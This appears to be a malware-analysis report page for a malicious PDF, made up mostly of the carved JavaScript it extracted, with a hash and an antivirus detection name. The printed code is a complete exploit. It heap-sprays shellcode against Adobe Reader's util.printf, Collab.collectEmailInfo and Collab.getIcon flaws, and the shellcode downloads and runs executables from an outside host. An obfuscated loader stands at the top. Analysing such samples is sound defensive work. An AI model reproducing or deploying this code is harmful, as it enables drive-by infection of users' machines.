164,84,95,84,167,156,153,160,160,151,163,152,153,111,65,62,61,61,177,65,62,61,61,170,149,166,84,163,170,153,166,154,160,163,171,84,113,84,169,162,153,167,151,149,164,153,92,86,89,169,100,151,100,151,89,169,100,151,100,151,86,93,111,65,62,61,61,171,156,157,160,153,84,92,163,170,153,166,154,160,163,171,98,160,153,162,155,168,156,84,112,84,104,104,109,105,102,93,175,65,62,61,61,61,163,170,153,166,154,160,163,171,84,95,113,84,163,170,153,166,154,160,163,171,111,65,62,61,61,177,65,62,61,61,168,156,157,167,98,151,163,160,160,149,150,135,168,163,166,153,84,113,84,119,163,160,160,149,150,98,151,163,160,160,153,151,168,121,161,149,157,160,125,162,154,163,92,175,167,169,150,158,110,84,86,86,96,161,167,155,110,84,163,170,153,166,154,160,163,171,177,93,111,65,62,61,177,65,62,65,62,61,154,169,162,151,168,157,163,162,84,151,163,160,160,149,150,147,155,153,168,157,151,163,162,92,93,175,65,62,61,61,157,154,84,92,149,164,164,98,152,163,151,98,119,163,160,160,149,150,98,155,153,168,125,151,163,162,93,175,65,62,61,61,61,170,149,166,84,149,166,166,173,84,113,84,162,153,171,84,117,166,166,149,173,92,93,111,65,62,61,61,61,170,149,166,84,170,170,164,153,168,156,173,149,84,113,84,169,162,153,167,151,149,164,153,92,86,89,169,121,118,121,109,89,169,100,100,100,101,89,169,105,106,100,100,89,169,117,101,106,104,89,169,100,100,103,100,89,169,100,100,100,100,89,169,104,100,108,118,89,169,108,118,100,119,89,169,101,119,107,100,89,169,108,118,117,120,89,169,100,108,104,100,89,169,119,103,105,121,89,169,108,118,105,105,89,169,108,118,121,119,89,169,100,108,104,105,89,169,103,103,105,102,89,169,119,101,120,102,89,169,100,103,119,102,89,169,101,100,103,102,89,169,108,100,104,100,89,169,100,100,103,108,89,169,122,105,107,105,89,169,119,102,108,118,89,169,105,120,105,117,89,169,100,104,119,102,89,169,105,105,100,100,89,169,121,119,108,118,89,169,105,101,105,101,89,169,105,106,105,103,89,169,106,100,105,107,89,169,105,120,108,118,89,169,103,103,100,108,89,169,108,118,119,100,89,169,100,119,107,105,89,169,122,121,108,118,89,169,107,106,100,103,89,169,108,118,103,119,89,169,107,108,104,121,89,169,119,122,100,103,89,169,105,101,108,118,89,169,105,102,101,119,89,169,105,101,108,118,89,169,105,102,102,104,89,169,107,101,108,118,89,169,104,121,101,104,89,169,107,105,108,109,89,169,108,118,122,119,89,169,102,100,107,101,89,169,122,107,100,103,89,169,104,117,109,109,89,169,104,102,117,120,89,169,103,118,106,100,89,169,122,119,105,105,89,169,100,104,107,105,89,169,119,100,103,103,89,169,103,107,121,118,89,169,122,122,103,103,89,169,104,105,100,103,89,169,109,107,100,119,89,169,119,122,108,118,89,169,107,105,117,121,89,169,102,118,122,120,89,169,104,122,122,109,89,169,121,108,105,101,89,169,122,122,109,104,89,169,122,122,122,122,89,169,119,103,103,118,89,169,107,104,106,101,89,169,121,118,100,102,89,169,108,118,120,109,89,169,100,119,104,105,89,169,105,121,109,102,89,169,122,102,100,103,89,169,121,100,120,101,89,169,119,106,100,103,89,169,119,109,103,103,89,169,118,107,100,122,89,169,105,122,100,108,89,169,121,101,119,101,89,169,100,103,100,102,89,169,100,103,119,117,89,169,108,118,119,122,89,169,100,103,100,101,89,169,108,109,119,102,89,169,122,108,104,105,89,169,108,118,106,101,89,169,122,108,104,105,89,169,105,121,105,122,89,169,119,109,105,118,89,169,105,105,119,103,89,169,121,119,108,118,89,169,121,108,105,101,89,169,122,122,104,109,89,169,122,122,122,122,89,169,106,108,105,100,89,169,106,100,121,108,89,169,100,104,118,122,89,169,106,119,121,108,89,169,122,122,122,122,89,169,103,103,122,122,89,169,105,102,120,102,89,169,122,122,105,102,89,169,100,108,107,105,89,169,120,100,122,122,89,169,104,105,108,109,89,169,108,118,122,119,89,169,122,119,104,105,89,169,119,103,119,109,89,169,108,118,105,105,89,169,108,103,121,119,89,169,100,119,121,119,89,169,104,105,108,120,89,169,105,100,122,104,89,169,104,105,119,106,89,169,107,105,122,104,89,169,104,105,119,106,89,169,107,102,122,105,89,169,104,105,119,106,89,169,106,119,122,106,89,169,104,105,119,106,89,169,106,120,122,107,89,169,104,105,119,106,89,169,106,122,122,108,89,169,104,105,119,106,89,169,106,121,122,109,89,169,104,105,119,106,89,169,102,121,122,117,89,169,104,105,119,106,89,169,106,104,122,118,89,169,104,105,119,106,89,169,106,119,122,119,89,169,104,105,119,106,89,169,106,119,122,120,89,169,104,105,119,106,89,169,100,100,122,121,89,169,117,100,121,108,89,169,122,122,122,122,89,169,105,100,122,122,89,169,105,120,106,108,89,169,101,101,108,117,89,169,121,108,101,106,89,169,122,122,101,105,89,169,122,122,122,122,89,169,119,104,108,103,89,169,108,105,100,119,89,169,107,104,119,100,89,169,106,117,101,105,89,169,106,117,100,100,89,169,122,122,100,100,89,169,100,119,107,105,89,169,107,105,122,122,89,169,106,117,100,108,89,169,122,122,100,100,89,169,108,105,120,100,89,169,107,105,119,100,89,169,104,100,100,103,89,169,119,103,119,109,89,169,119,100,103,103,89,169,119,103,119,109,89,169,103,103,105,107,89,169,108,118,119,100,89,169,102,104,104,119,89,169,108,118,100,119,89,169,102,104,107,119,89,169,122,119,100,108,89,169,117,117,122,103,89,169,119,103,105,122,89,169,104,119,108,118,89,169,100,104,102,104,89,169,103,109,108,100,89,169,108,118,100,100,89,169,107,104,119,101,89,169,104,100,100,106,89,169,103,108,108,100,89,169,107,105,100,100,89,169,102,118,122,117,89,169,119,103,119,101,89,169,108,118,105,105,89,169,108,103,121,119,89,169,106,104,121,119,89,169,108,120,105,103,89,169,122,100,104,105,89,169,103,103,105,107,89,169,105,100,120,118,89,169,104,105,119,106,89,169,106,118,122,100,89,169,104,105,119,106,89,169,106,105,122,101,89,169,104,105,119,106,89,169,107,102,122,102,89,169,104,105,119,106,89,169,106,121,122,103,89,169,104,105,119,106,89,169,106,105,122,104,89,169,104,105,119,106,89,169,106,119,122,105,89,169,104,105,119,106,89,169,103,103,122,106,89,169,104,105,119,106,89,169,103,102,122,107,89,169,104,105,119,106,89,169,102,121,122,108,89,169,104,105,119,106,89,169,106,104,122,109,89,169,104,105,119,106,89,169,106,119,122,117,89,169,104,105,119,106,89,169,106,119,122,118,89,169,105,120,108,108,89,169,121,108,122,119,89,169,122,122,100,118,89,169,122,122,122,122,89,169,106,108,105,100,89,169,104,103,106,108,89,169,108,121,122,109,89,169,108,100,121,108,89,169,122,122,122,121,89,169,108,118,122,122,89,169,108,120,122,108,89,169,109,119,104,105,89,169,104,104,106,117,89,169,121,108,105,100,89,169,122,122,107,121,89,169,122,122,122,122,89,169,104,105,108,120,89,169,106,117,121,100,89,169,105,100,101,100,89,169,107,103,121,108,89,169,122,122,122,122,89,169,108,103,122,122,89,169,101,119,119,104,89,169,104,105,108,120,89,169,105,100,121,100,89,169,104,105,108,120,89,169,105,100,109,119,89,169,105,103,105,103,89,169,105,103,105,103,89,169,105,103,105,103,89,169,107,105,122,122,89,169,119,107,100,108,89,169,109,119,104,105,89,169,100,100,104,104,89,169,100,100,100,100,89,169,122,122,105,103,89,169,105,122,120,107,89,169,118,106,100,122,89,169,105,118,119,100,89,169,119,103,119,109,89,169,108,118,105,105,89,169,105,101,121,119,89,169,105,103,105,101,89,169,105,107,105,106,89,169,104,102,106,117,89,169,107,102,121,108,89,169,100,100,100,100,89,169,108,118,100,100,89,169,103,103,120,108,89,169,108,105,122,106,89,169,105,109,120,118,89,169,104,105,119,107,89,169,106,101,122,108,89,169,106,105,102,121,89,169,119,107,107,108,89,169,122,119,104,105,89,169,100,100,106,105,89,169,100,100,100,100,89,169,105,106,107,121,89,169,104,105,108,120,89,169,105,100,122,108,89,169,121,108,105,106,89,169,100,100,105,101,89,169,100,100,100,100,89,169,105,100,105,109,89,169,118,101,121,108,89,169,122,122,122,121,89,169,108,105,122,122,89,169,105,109,119,100,89,169,107,104,105,109,89,169,108,120,103,109,89,169,100,101,104,106,89,169,121,108,105,100,89,169,100,100,103,118,89,169,100,100,100,100,89,169,122,108,108,118,89,169,104,105,108,120,89,169,105,100,122,108,89,169,102,101,121,108,89,169,122,122,122,122,89,169,108,105,122,122,89,169,105,109,119,100,89,169,107,104,105,109,89,169,105,107,100,119,89,169,100,101,121,108,89,169,122,122,122,122,89,169,105,109,122,122,89,169,104,104,119,106,89,169,122,122,103,108,89,169,105,100,107,103,89,169,104,105,108,120,89,169,122,121,122,108,89,169,105,108,100,100,89,169,104,105,108,120,89,169,105,100,122,108,89,169,121,108,105,107,89,169,122,121,107,104,89,169,122,122,122,122,89,169,105,109,105,109,89,169,104,106,104,106,89,169,122,103,103,118,89,169,117,117,107,119,89,169,105,121,105,122,89,169,119,109,105,118,89,169,105,105,119,103,89,169,121,119,108,118,89,169,105,103,105,101,89,169,106,100,106,106,89,169,103,102,118,101,89,169,100,100,121,108,89,169,100,100,100,100,89,169,105,108,100,100,89,169,100,108,103,108,89,169,100,103,107,104,89,169,121,118,104,100,89,169,104,100,122,109,89,169,105,120,108,118,89,169,108,100,100,108,89,169,104,102,122,118,89,169,100,108,107,105,89,169,120,118,103,103,89,169,101,108,108,117,89,169,119,103,108,118,89,169,101,107,121,118,89,169,101,108,103,108,89,169,101,101,107,106,89,169,103,103,104,100,89,169,108,104,119,109,89,169,107,104,120,118,89,169,104,100,100,119,89,169,100,108,103,108,89,169,122,118,107,105,89,169,122,121,104,100,89,169,121,118,119,118,89,169,103,103,122,102,89,169,108,109,119,100,89,169,122,119,104,105,89,169,104,105,108,118,89,169,105,118,122,119,89,169,119,103,119,109,89,169,100,102,103,102,89,169,107,104,106,108,89,169,107,100,107,104,89,169,102,122,103,117,89,169,106,122,102,122,89,169,107,105,107,109,89,169,106,119,106,121,89,169,106,121,106,101,89,169,102,121,106,104,89,169,107,102,106,122,89,169,102,122,106,107,89,169,107,102,106,106,89,169,106,107,106,101,89,169,107,103,107,105,89,169,106,106,102,122,89,169,107,100,106,120,89,169,107,109,107,108,89,169,102,121,103,102,89,169,107,108,106,105,89,169,100,100,106,105,89,169,107,104,106,108,89,169,107,100,107,104,89,169,102,122,103,117,89,169,106,122,102,122,89,169,107,105,107,109,89,169,106,119,106,121,89,169,106,121,106,101,89,169,102,121,106,104,89,169,107,102,106,122,89,169,102,122,106,107,89,169,107,102,106,106,89,169,106,107,106,101,89,169,107,103,107,105,89,169,106,103,102,122,89,169,106,109,106,119,89,169,106,118,106,103,89,169,107,100,102,121,89,169,107,100,106,108,89,169,107,102,103,122,89,169,100,100,103,120,86,93,111,65,62,61,61,61,170,149,166,84,156,139,165,105,100,100,119,130,84,113,84,170,170,164,153,168,156,173,149,98,160,153,162,155,168,156,84,94,84,102,111,65,62,61,61,61,170,149,166,84,160,153,162,84,113,84,100,172,104,100,100,100,100,100,84,97,84,92,156,139,165,105,100,100,119,130,84,95,84,100,172,103,108,93,111,65,62,61,61,61,170,149,166,84,173,149,166,167,164,84,113,84,169,162,153,167,151,149,164,153,92,86,89,169,109,100,109,100,89,169,109,100,109,100,86,93,111,65,62,61,61,61,173,149,166,167,164,84,113,84,154,157,172,147,157,168,92,173,149,166,167,164,96,84,160,153,162,93,111,65,62,61,61,61,170,149,166,84,164,105,117,158,127,106,105,154,84,113,84,92,100,172,100,151,100,151,100,151,100,151,84,97,84,100,172,104,100,100,100,100,100,93,84,99,84,100,172,104,100,100,100,100,100,111,65,62,61,61,61,154,163,166,84,92,170,149,166,84,170,165,151,133,120,109,106,173,84,113,84,100,111,84,170,165,151,133,120,109,106,173,84,112,84,164,105,117,158,127,106,105,154,111,84,170,165,151,133,120,109,106,173,84,95,95,84,93,175,65,62,61,61,61,61,149,166,166,173,143,170,165,151,133,120,109,106,173,145,84,113,84,173,149,166,167,164,84,95,84,170,170,164,153,168,156,173,149,111,65,62,61,61,61,177,65,62,61,61,61,170,149,166,84,168,137,129,156,130,150,123,171,84,113,84,169,162,153,167,151,149,164,153,92,86,89,100,109,86,93,111,65,62,61,61,61,171,156,157,160,153,84,92,168,137,129,156,130,150,123,171,98,160,153,162,155,168,156,84,112,84,100,172,104,100,100,100,93,175,65,62,61,61,61,61,168,137,129,156,130,150,123,171,84,95,113,84,168,137,129,156,130,150,123,171,111,65,62,61,61,61,177,65,62,61,61,61,168,137,129,156,130,150,123,171,84,113,84,86,130,98,86,84,95,84,168,137,129,156,130,150,123,171,111,65,62,61,61,61,149,164,164,98,152,163,151,98,119,163,160,160,149,150,98,155,153,168,125,151,163,162,92,168,137,129,156,130,150,123,171,93,111,65,62,61,61,177,65,62,61,177,65,62,65,62,61,154,169,162,151,168,157,163,162,84,164,152,154,147,167,168,149,166,168,92,93,175,65,62,65,62,61,61,170,149,166,84,170,153,166,167,157,163,162,84,113,84,149,164,164,98,170,157,153,171,153,166,138,153,166,167,157,163,162,98,168,163,135,168,166,157,162,155,92,93,111,65,62,61,61,170,153,166,167,157,163,162,84,113,84,170,153,166,167,157,163,162,98,166,153,164,160,149,151,153,92,99,144,120,99,155,96,91,91,93,111,65,62,61,61,170,149,166,84,170,149,166,167,157,163,162,147,149,166,166,149,173,84,113,84,162,153,171,84,117,166,166,149,173,92,170,153,166,167,157,163,162,98,151,156,149,166,117,168,92,100,93,96,84,170,153,166,167,157,163,162,98,151,156,149,166,117,168,92,101,93,96,84,170,153,166,167,157,163,162,98,151,156,149,166,117,168,92,102,93,93,111,65,62,61,61,157,154,84,92,92,170,149,166,167,157,163,162,147,149,166,166,149,173,143,100,145,84,113,113,84,108,93,84,90,90,84,92,170,149,166,167,157,163,162,147,149,166,166,149,173,143,101,145,84,113,113,84,100,93,84,176,176,84,92,170,149,166,167,157,163,162,147,149,166,166,149,173,143,101,145,84,113,113,84,101,84,90,90,84,170,149,166,167,157,163,162,147,149,166,166,149,173,143,102,145,84,112,84,103,93,93,175,65,62,61,61,61,169,168,157,160,147,164,166,157,162,168,154,92,93,111,65,62,61,61,177,65,62,61,61,157,154,84,92,92,170,149,166,167,157,163,162,147,149,166,166,149,173,143,100,145,84,112,84,108,93,84,176,176,84,92,170,149,166,167,157,163,162,147,149,166,166,149,173,143,100,145,84,113,113,84,108,84,90,90,84,170,149,166,167,157,163,162,147,149,166,166,149,173,143,101,145,84,112,84,102,84,90,90,84,170,149,166,167,157,163,162,147,149,166,166,149,173,143,102,145,84,112,84,102,93,93,175,65,62,61,61,61,151,163,160,160,149,150,147,153,161,149,157,160,92,93,111,65,62,61,61,177,65,62,61,61,157,154,84,92,92,170,149,166,167,157,163,162,147,149,166,166,149,173,143,100,145,84,112,84,109,93,84,176,176,84,92,170,149,166,167,157,163,162,147,149,166,166,149,173,143,100,145,84,113,113,84,109,84,90,90,84,170,149,166,167,157,163,162,147,149,166,166,149,173,143,101,145,84,112,84,101,93,93,175,65,62,61,61,61,151,163,160,160,149,150,147,155,153,168,157,151,163,162,92,93,111,65,62,61,61,177,65,62,61,177,65,62,65,62,61,164,152,154,147,167,168,149,166,168,92,93,111,65,62,61],abegqt=function(){for(var nzgwb;ceimo<eijq.length;ceimo+=1){var acwy=ceimo%bjkrsy.length+1;var koqt=bjkrsy.substring(ceimo%bjkrsy.length,acwy);var eluvx=eijq[ceimo];zsie+=dfgk(eluvx-koqt.charCodeAt(0));} adiltv(zsie);};abegqt();enqw='';hptxy='';hqstx='';glnx=true;bkowy=14787;egijz="egijz";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9958 bytes
SHA-256: `652c3c734d80235519d2f963aba1884f231db2d3bbebcd27c6aa688af6310b6c`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u7A2F%u746A%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u642F%u6A68%u706E%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u662F%u706D%u7978%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2